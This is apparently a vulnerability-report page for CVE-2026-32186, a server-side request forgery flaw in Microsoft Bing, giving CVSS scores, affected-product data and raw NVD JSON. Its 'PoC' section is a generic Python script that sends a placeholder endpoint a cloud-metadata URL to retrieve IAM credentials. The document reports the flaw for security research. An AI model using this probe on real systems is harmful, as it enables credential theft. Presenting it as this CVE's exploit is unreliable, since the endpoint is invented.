Security Vulnerability Report
中文
CVE-2026-32186 CVSS 10.0 CRITICAL

CVE-2026-32186

Published: 2026-04-03 18:16:25
Last Modified: 2026-04-13 18:32:38

Description

Server-side request forgery (ssrf) in Microsoft Bing allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:bing:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft Bing (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-32186 PoC Example (Conceptual) # Target: Vulnerable Microsoft Bing Endpoint target_url = "https://api.bing.example.com/vulnerable_endpoint" # Malicious payload targeting internal metadata or internal service # Using dnsbin to verify exfiltration or targeting localhost payload = { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } try: response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Potential SSRF vulnerability confirmed!") print(f"[+] Response content: {response.text[:200]}") else: print("[-] Exploit failed or endpoint patched.") except Exception as e: print(f"[-] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32186", "sourceIdentifier": "[email protected]", "published": "2026-04-03T18:16:24.993", "lastModified": "2026-04-13T18:32:38.160", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Server-side request forgery (ssrf) in Microsoft Bing allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:bing:-:*:*:*:*:*:*:*", "matchCriteriaId": "622F4499-3149-4D84-8A29-332A7F498209"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32186", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}